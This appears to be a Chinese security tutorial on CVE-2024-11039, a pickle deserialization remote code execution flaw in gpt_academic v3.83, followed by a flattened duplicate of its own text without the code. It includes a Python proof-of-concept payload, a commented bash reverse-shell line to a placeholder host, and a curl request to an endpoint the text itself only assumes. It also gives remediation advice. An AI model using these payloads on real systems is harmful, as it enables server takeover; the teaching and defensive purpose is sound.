某ai系统反序列化漏洞分析CVE-2024-11039
字数 2623 2025-11-05 23:45:18

CVE-2024-11039:gpt_academic 项目反序列化漏洞分析与复现教学

文档版本: 1.0
发布日期: 2024-11-04(基于漏洞分析文章发布日期)
目标读者: 安全研究人员、渗透测试人员、软件开发工程师

一、 漏洞概述

  1. 漏洞编号: CVE-2024-11039
  2. 漏洞名称: gpt_academic 项目不安全反序列化漏洞
  3. 影响组件: gpt_academic 开源项目,版本 3.83
  4. 漏洞类型: 反序列化漏洞
  5. 危害等级: 高危
  6. 最终危害: 远程代码执行
  7. CVSS 评分: 待官方评定(但根据危害,预计在 9.0 以上)

二、 受影响环境

  • 软件名称: gpt_academic
  • 项目地址: GitHub 上的 binary-husky/gpt_academic 项目(或类似仓库)
  • 受影响版本: 3.83 版本
  • 不受影响版本: 3.83 之后已修复的版本(具体版本号需参考官方修复记录)

三、 漏洞背景知识

1. 什么是 gpt_academic?

gpt_academic 是一个开源项目,旨在为 GPT、GLM 等大型语言模型提供实用化的交互接口。它特别优化了学术工作流,如论文阅读、润色和写作等体验,深受研究人员和学生欢迎。

2. 什么是反序列化漏洞?

  • 序列化: 将程序中的对象(Object)状态转换为可以存储或传输的格式(如字节流、JSON、XML)的过程。
  • 反序列化: 将序列化后的数据恢复为对象的过程。
  • 漏洞成因: 当应用程序对用户可控的、恶意的序列化数据(例如 Python 的 pickle 格式)进行反序列化时,如果未经过严格的安全检查,攻击者可以构造特定的数据,在反序列化过程中触发执行任意代码。

3. Python pickle 模块的危险性

Python 的 pickle 模块是实现序列化的常用工具,但其设计初衷并非安全。pickle 在反序列化时会自动寻找并执行序列化数据中指定的类及其 __reduce__ 方法。攻击者可以精心构造一个包含恶意指令的 __reduce__ 方法的类,序列化后发送给目标,当目标使用 pickle.loads() 反序列化该数据时,恶意代码就会被执行。

四、 漏洞详细分析

1. 漏洞位置

根据文章描述,漏洞出现在 gpt_academic 项目的某个功能模块中,该模块接收用户输入并进行反序列化操作。具体代码路径可能在处理插件配置、会话数据或缓存数据的部分。

2. 漏洞成因

在 3.83 版本中,开发者对用户提交的序列化数据过滤不严。具体表现为:

  • 直接使用了 pickle.loads() 或类似的不安全反序列化函数。
  • 对反序列化操作的输入源(如网络请求、文件上传、Cookie 等)没有进行有效的验证、签名或加密,导致攻击者可以注入恶意的序列化载荷(Payload)。

3. 攻击流程

  1. 信息收集: 攻击者识别目标系统运行的是存在漏洞的 gpt_academic v3.83。
  2. 构造载荷: 攻击者使用 Python 编写一个包含恶意命令(如反弹 Shell、下载执行木马等)的类,并将其序列化为 pickle 格式。
  3. 发送载荷: 攻击者通过 HTTP 请求(例如 POST 或 GET 请求)将恶意序列化数据发送到目标服务器的漏洞触发点。
  4. 触发漏洞: 服务器端应用程序接收到数据后,未经验证便直接进行反序列化。
  5. 代码执行: 在反序列化过程中,恶意的 __reduce__ 方法被自动调用,导致攻击者预设的任意命令在服务器上以 Web 服务权限执行。

五、 漏洞复现(仅供教学研究使用)

环境准备:

  • 攻击机:Kali Linux 或任意安装 Python 的机器。
  • 靶机:安装有 gpt_academic v3.83 的 Ubuntu/CentOS 服务器。

复现步骤:

步骤 1:确认漏洞点
假设漏洞触发点是一个接收 data 参数的 API 接口,例如 http://<target_ip>:port/update_config

步骤 2:构造恶意 Pickle 载荷
在攻击机上,创建一个名为 exploit.py 的 Python 脚本,用于生成载荷。

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        # 恶意命令:在目标服务器上创建一个名为 pwn_success.txt 的文件作为证明
        # 实际攻击中可替换为任何命令,如:'/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1'
        cmd = 'touch /tmp/pwn_success.txt'
        return os.system, (cmd,)

if __name__ == '__main__':
    # 生成恶意的序列化对象
    malicious_object = RCE()
    # 将其序列化为 pickle 格式
    malicious_pickle = pickle.dumps(malicious_object)
    # 进行 Base64 编码,便于在 HTTP 请求中传输
    encoded_payload = base64.b64encode(malicious_pickle).decode()
    print("恶意 Payload (Base64):")
    print(encoded_payload)

运行此脚本:python3 exploit.py,控制台会输出一串 Base64 编码的字符串。

步骤 3:发送攻击载荷
使用 curl 或其他工具(如 Burp Suite)向目标发送请求。

curl -X POST http://<target_ip>:<port>/update_config \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "data=<这里替换为步骤2中生成的Base64字符串>"

步骤 4:验证攻击结果
登录到靶机,检查 /tmp 目录下是否生成了 pwn_success.txt 文件。

ls -la /tmp/pwn_success.txt

如果文件存在,则证明漏洞复现成功,任意命令执行已被实现。

六、 修复建议

  1. 官方修复方案:

    • 升级版本: 立即将 gpt_academic 项目升级到官方已修复的最新版本。
    • 代码审查: 检查官方修复 commit,通常是移除了不安全的 pickle.loads(),替换为更安全的序列化方案(如 json)。
  2. 临时缓解措施(如果无法立即升级):

    • 避免反序列化不可信数据: 从根本上避免对用户输入进行反序列化。
    • 使用安全替代方案: 如果必须序列化/反序列化,使用 JSON 等仅处理数据而不执行代码的格式。
    • 实施严格输入验证: 如果万不得已必须使用 pickle,应对序列化数据进行数字签名(如 HMAC),确保数据在传输过程中未被篡改,且来源可信。
    • 沙箱环境: 在受限的沙箱环境中执行反序列化操作,以限制潜在破坏。

七、 总结与思考

CVE-2024-11039 是一个典型的不安全反序列化案例,它再次警示开发者:

  • 永远不要反序列化不可信的数据。 这是安全领域的黄金法则之一。
  • pickle 模块仅适用于可信环境。 在处理来自客户端、网络或任何外部来源的数据时,应坚决避免使用它。
  • 依赖项安全至关重要。 即使是优秀的开源项目也可能存在严重漏洞,需要持续关注其安全更新。

通过本教学文档,您应该能够深刻理解该漏洞的原理、危害及利用方式,并掌握如何在自己的项目中避免此类安全问题。


免责声明: 本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法活动。安全测试应在自己拥有或获得明确授权的环境中进行。

CVE-2024-11039:gpt_ academic 项目反序列化漏洞分析与复现教学 文档版本: 1.0 发布日期: 2024-11-04(基于漏洞分析文章发布日期) 目标读者: 安全研究人员、渗透测试人员、软件开发工程师 一、 漏洞概述 漏洞编号: CVE-2024-11039 漏洞名称: gpt_ academic 项目不安全反序列化漏洞 影响组件: gpt_academic 开源项目,版本 3.83 漏洞类型: 反序列化漏洞 危害等级: 高危 最终危害: 远程代码执行 CVSS 评分: 待官方评定(但根据危害,预计在 9.0 以上) 二、 受影响环境 软件名称: gpt_ academic 项目地址: GitHub 上的 binary-husky/gpt_academic 项目(或类似仓库) 受影响版本: 3.83 版本 不受影响版本: 3.83 之后已修复的版本(具体版本号需参考官方修复记录) 三、 漏洞背景知识 1. 什么是 gpt_ academic? gpt_academic 是一个开源项目,旨在为 GPT、GLM 等大型语言模型提供实用化的交互接口。它特别优化了学术工作流,如论文阅读、润色和写作等体验,深受研究人员和学生欢迎。 2. 什么是反序列化漏洞? 序列化: 将程序中的对象(Object)状态转换为可以存储或传输的格式(如字节流、JSON、XML)的过程。 反序列化: 将序列化后的数据恢复为对象的过程。 漏洞成因: 当应用程序对用户可控的、恶意的序列化数据(例如 Python 的 pickle 格式)进行反序列化时,如果未经过严格的安全检查,攻击者可以构造特定的数据,在反序列化过程中触发执行任意代码。 3. Python pickle 模块的危险性 Python 的 pickle 模块是实现序列化的常用工具,但其设计初衷并非安全。 pickle 在反序列化时会自动寻找并执行序列化数据中指定的类及其 __reduce__ 方法。攻击者可以精心构造一个包含恶意指令的 __reduce__ 方法的类,序列化后发送给目标,当目标使用 pickle.loads() 反序列化该数据时,恶意代码就会被执行。 四、 漏洞详细分析 1. 漏洞位置 根据文章描述,漏洞出现在 gpt_ academic 项目的某个功能模块中,该模块接收用户输入并进行反序列化操作。具体代码路径可能在处理插件配置、会话数据或缓存数据的部分。 2. 漏洞成因 在 3.83 版本中,开发者对用户提交的序列化数据 过滤不严 。具体表现为: 直接使用了 pickle.loads() 或类似的不安全反序列化函数。 对反序列化操作的输入源(如网络请求、文件上传、Cookie 等)没有进行有效的验证、签名或加密,导致攻击者可以注入恶意的序列化载荷(Payload)。 3. 攻击流程 信息收集: 攻击者识别目标系统运行的是存在漏洞的 gpt_ academic v3.83。 构造载荷: 攻击者使用 Python 编写一个包含恶意命令(如反弹 Shell、下载执行木马等)的类,并将其序列化为 pickle 格式。 发送载荷: 攻击者通过 HTTP 请求(例如 POST 或 GET 请求)将恶意序列化数据发送到目标服务器的漏洞触发点。 触发漏洞: 服务器端应用程序接收到数据后,未经验证便直接进行反序列化。 代码执行: 在反序列化过程中,恶意的 __reduce__ 方法被自动调用,导致攻击者预设的任意命令在服务器上以 Web 服务权限执行。 五、 漏洞复现(仅供教学研究使用) 环境准备: 攻击机:Kali Linux 或任意安装 Python 的机器。 靶机:安装有 gpt_ academic v3.83 的 Ubuntu/CentOS 服务器。 复现步骤: 步骤 1:确认漏洞点 假设漏洞触发点是一个接收 data 参数的 API 接口,例如 http://<target_ip>:port/update_config 。 步骤 2:构造恶意 Pickle 载荷 在攻击机上,创建一个名为 exploit.py 的 Python 脚本,用于生成载荷。 运行此脚本: python3 exploit.py ,控制台会输出一串 Base64 编码的字符串。 步骤 3:发送攻击载荷 使用 curl 或其他工具(如 Burp Suite)向目标发送请求。 步骤 4:验证攻击结果 登录到靶机,检查 /tmp 目录下是否生成了 pwn_success.txt 文件。 如果文件存在,则证明漏洞复现成功,任意命令执行已被实现。 六、 修复建议 官方修复方案: 升级版本: 立即将 gpt_ academic 项目升级到官方已修复的最新版本。 代码审查: 检查官方修复 commit,通常是移除了不安全的 pickle.loads() ,替换为更安全的序列化方案(如 json )。 临时缓解措施(如果无法立即升级): 避免反序列化不可信数据: 从根本上避免对用户输入进行反序列化。 使用安全替代方案: 如果必须序列化/反序列化,使用 JSON 等仅处理数据而不执行代码的格式。 实施严格输入验证: 如果万不得已必须使用 pickle ,应对序列化数据进行数字签名(如 HMAC),确保数据在传输过程中未被篡改,且来源可信。 沙箱环境: 在受限的沙箱环境中执行反序列化操作,以限制潜在破坏。 七、 总结与思考 CVE-2024-11039 是一个典型的不安全反序列化案例,它再次警示开发者: 永远不要反序列化不可信的数据。 这是安全领域的黄金法则之一。 pickle 模块仅适用于可信环境。 在处理来自客户端、网络或任何外部来源的数据时,应坚决避免使用它。 依赖项安全至关重要。 即使是优秀的开源项目也可能存在严重漏洞,需要持续关注其安全更新。 通过本教学文档,您应该能够深刻理解该漏洞的原理、危害及利用方式,并掌握如何在自己的项目中避免此类安全问题。 免责声明: 本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法活动。安全测试应在自己拥有或获得明确授权的环境中进行。